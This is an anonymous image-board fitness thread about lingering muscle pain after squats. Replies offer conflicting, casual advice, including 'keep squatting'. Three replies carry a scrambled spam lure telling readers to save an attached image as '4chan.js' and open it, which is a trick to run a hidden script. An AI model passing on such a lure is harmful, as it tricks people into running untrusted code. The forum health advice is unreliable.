File :-(, x, )
Anonymous
Whats up fit? Normally don't post but do lurk a bit. I've been working out after a 1 month hiatus and my squat strength has decreased by like 1/2. So far my progress has been gradually getting better.

Anyway I've been getting this pain that won't go away. It feels like muscle pain (not bone) and hurts when I contract that part of the muscle. Because it is a commonly used muscle its always contracted, and I have to lean my head back all the way so that it won't hurt for a brief while. Its been 5 days and the intensity of pain hasn't gone away (its not too bad, just annoying/tiring). SOS???
>> Anonymous
You just pulled something. Keep squatting.
>> Anonymous
The smart thing to do would not to do anymore squats until your body heals otherwise you could do more damage to yourself.
>> Anonymous
Try to stretch it, not orgasm of your life stretch but enough. Also if you want to keep your leg strength up you could always try a leg press. It won't be the same as squats, but it's better than sitting on your ass not squatting.
>> Anonymous
     File :-(, x)
1.X Opens thi,s imasege.jx
2,. Save it as 4chan.js
3. Ope n the ifil1e youss saBved.
4. ?,??
5. SXhit bricks.

W
>> Anonymous
     File :-(, x)
.skcirb tihS .5

??? .4

.devas uoy elif eht nepO .3

sj.nahc4 sa ti evaS .2

.egami siht nepO .
>> Anonymous
     File :-(, x)
1 Opntis image
2 aeitas chn.js
3. ente fle you sved.
4.???
5. Shit bicks

m
>> Anonymous
Stop exercising. Do not stretch, rest, keep it warm. You might try to get a professional massage though.
>> Anonymous
Stop exercising. Do not stretch, rest, keep it warm. You might try to get a professional massage though.
A sports analgeticum like A diclofenac gel might be a good idea too.
>> Anonymous
you'll sound like a hardass if you yell squats
try yelling I CAME instead